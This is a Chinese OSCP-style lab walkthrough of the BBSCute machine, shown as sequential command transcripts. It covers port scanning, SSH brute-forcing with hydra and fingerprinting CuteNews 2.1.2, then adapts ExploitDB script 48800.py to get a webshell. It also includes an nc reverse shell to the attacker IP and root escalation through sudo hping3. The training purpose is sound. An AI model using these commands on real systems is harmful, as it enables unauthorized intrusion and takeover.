OSCP靶场保姆级系列-Esay-BBSCute

文摘   其他   2023-07-30 11:23   上海  

Esay_BBSCute

总结

getwebshell → 目录扫描发现新端点 → 指纹探测发现CMS → 查看文章发现版本信息 → MSF → 调配修改获得shell

getshell → sudo发现hping3 → 利用hping3提权


准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.176

  • 启动靶机

  • 获取目标机器IP > 192.168.190.128



信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次

  1. sudo nmap --min-rate 10000 -p- 192.168.190.128

>[!通过各两次扫描收集到端口 ]
>22,80,88,110,995

目标端口对应服务探测

  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p22,80,88,110,995 192.168.190.128

信息收集-端口测试

  • 22-open-openssh 7.9p1

  • 80-open-http

  • 88-open-http

  • 110-open-pop3

  • 995-open-ssl/pop3
    总体来看,突破口在80端口以及88端口

    22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(无)

通过Nmap探测获得SSH的版本信息,可以尝试利用

  1. # 进入msf

  2. msfcontrol

  3. # 探测版本为OpenSSH 7.9p1 搜索对应脚本

  4. msf6 > searchsploit openssh 7.9

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

  1. ssh root@192.168.190.128</span> ssh -p22

  2. # 密码尝试

  3. password &gt; root

22-SSH弱口令爆破(慢慢跑)

尝试root账户的密码爆破,利用工具hydra,线程-t为6
<mark style="#FFB8EBA6">慢慢跑吧,不指望</mark>

  1. hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.190.128 ssh -s 22

80-HTTP端口的信息收集

http://192.168.190.128:80


通常遇到这样的网站之后我们直接从收集源码开始

信息收集-源码查看(无)

  1. curl http://192.168.190.128:80

整体翻阅了一下,无泄露信息

信息收集-基础目录扫描

  1. dirsearch -u http://192.168.190.128:80 -x 302,403

发现内容之后,我们先不考虑上大字典

信息收集-dirsearch深层目录扫描(待定)

信息收集-端点访问

寻找可用端点

/example.php端点

/manual/en/index.html端点

/print.php端点

/rss.php端点

/search.php端点

/index.php端点

信息收集-指纹识别

通过端点访问,首先选取最感兴趣的进行探索(登录功能点)

  1. ┌──(rootKali)-[/home/bachang/BBSCute]

  2. └─# whatweb http://192.168.190.128:80/index.php

  3. http://192.168.190.128:80/index.php [200 OK] Apache[2.4.38], Bootstrap, Cookies[CUTENEWS_SESSION], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.190.128], JQuery, PasswordField[password], Script[text/javascript], Title[Please Login / CuteNews], UncommonHeaders[accept-charset], X-Frame-Options[sameorigin], X-UA-Compatible[IE=edge]

获取了CMS的指纹CuteNews,如果知道版本就可用msf精准打击

信息收集-源码查看

  1. # 利用html2text转换纯文本方便查看

  2. curl http://192.168.190.128:80/index.php | html2text

查看之后获取到了新的信息CuteNews的版本为2.1.2

88-HTTP端口的信息收集

什么!?还要收集吗?80端口都getwebshell啦?



漏洞利用-getwebshell

漏洞利用-msf网站指纹(尝试)

  1. # 首先进入msf终端

  2. msfconsole

  3. # 搜索对应的漏洞是否存在

  4. msf6 &gt; searchsploit cutenews 2.1.2

可以思考的是第一个、第三个、第四个。第二个文件删除不能直接getwebshell
其中第三个文件上传相对要复杂一些
第一个可能有前置条件,保险一些先试试第四个?

  1. # 如果想查看msf对应的内容

  2. cat /usr/share/exploitdb/exploits/php/webapps/48800.py

细细翻阅一下


大致了解了脚本的情况,运行了之后让我们输入IP,之后就会根据代码逻辑获得cmdshell

一般获取脚本之后我们就清楚需要是否需要修改shell以及输入内容等

  1. # 尝试运行,发现没运行成功捏

  2. python3 /usr/share/exploitdb/exploits/php/webapps/48800.py

  3. [-&gt;] Usage python3 expoit.py

  4. Enter the URL&gt; http://192.168.190.128:80

  5. ================================================================

  6. Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN

  7. ================================================================

  8. [-] No hashes were found skipping!!!

  9. ================================================================

  10. =============================

  11. Registering a users

  12. =============================


运行没成功说明可能其他地方还需要修改或者该exp不适用
首先进行url的排查

  1. cat /usr/share/exploitdb/exploits/php/webapps/48800.py

查看了一下,发现expurl是加了/CuteNews端点,和我们现在不符,进行删除

  1. # cp到本地一份方便修改(这是好习惯)

  2. ┌──(rootKali)-[/home/bachang/BBSCute]

  3. └─# cp /usr/share/exploitdb/exploits/php/webapps/48800.py .

  4. # 查询有几处

  5. ┌──(rootKali)-[/home/bachang/BBSCute]

  6. └─# grep CuteNews 48800.py

  7. url = f"{ip}/CuteNews/cdata/users/lines"

  8. register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)

  9. token = sess.get(f"{ip}/CuteNews/index.php?mod=main&amp;opt=personal").text

  10. payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text

  11. output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)

  12. # 修改了5处地方

  13. ┌──(rootKali)-[/home/bachang/BBSCute]

  14. └─# vim 48800.py

  15. # 再次查看已经没有了

  16. ┌──(kalikali)-[~]

  17. └─$ grep CuteNews 48800.py

  18. # 尝试运行

  19. python 48800.py

运行成功,获取了cmdshell

  1. # ps 翻阅了一下不用苦逼的vim修改,利用sed 将所有的 “CuteNews/” 替换为空字符串

  2. sed -i 's:CuteNews/::g' 48800.py

  3. # 查看一下权限

  4. command &gt; id

  5. uid=33(www-data) gid=33(www-data) groups=33(www-data)

内网遨游-getshell

发现hydra还没爆破出来,关了关了

获取交互shell

现在我们的shell是利用pythonexp获取的,我们获取本地的shell会更好
利用反弹shell弹到本地

反弹shell-nc

  1. # 攻击机先开启监听

  2. nc -lvvp 4444

  1. # 目标主机nc反弹shell

  2. nc -e /bin/bash 192.168.45.176 4444

交互shell-python

由于反弹获取的shell交互不友好,利用python获得新的交互shell

  1. # 利用python获取交互shell -&gt; python失败使用python3

  2. python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. www-data<span>@cute</span>:/var/www/html/uploads$ find / -name local.txt 2&gt;/dev/null

  2. find / -name local.txt 2&gt;/dev/null

  3. /var/www/local.txt

  4. www-data<span>@cute</span>:/var/www/html/uploads$ cat /var/www/local.txt

  5. cat /var/www/local.txt

  6. *****************************

权限提升

访问 https://gtfobins.github.io 寻找

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

  1. # 利用sudo -l寻找

  2. www-data<span>@cute</span>:/var/www/html/uploads$ sudo -l

  3. sudo -l

  4. Matching Defaults entries for www-data on cute:

  5. env_reset, mail_badpass,

  6. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  7. User www-data may run the following commands on cute:

  8. (root) NOPASSWD: /usr/sbin/hping3 --icmp

发现hping3存在sudo权限


如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. www-data<span>@cute</span>:/var/www/html/uploads$ hping3

  2. hping3&gt; /bin/sh -p

  3. # whoami

  4. root

成功提权

FLAG2

  1. # cat /root/proof.txt

  2. *************************

结束撒花~谢谢观看~~


云下信安
再溯源就不礼貌了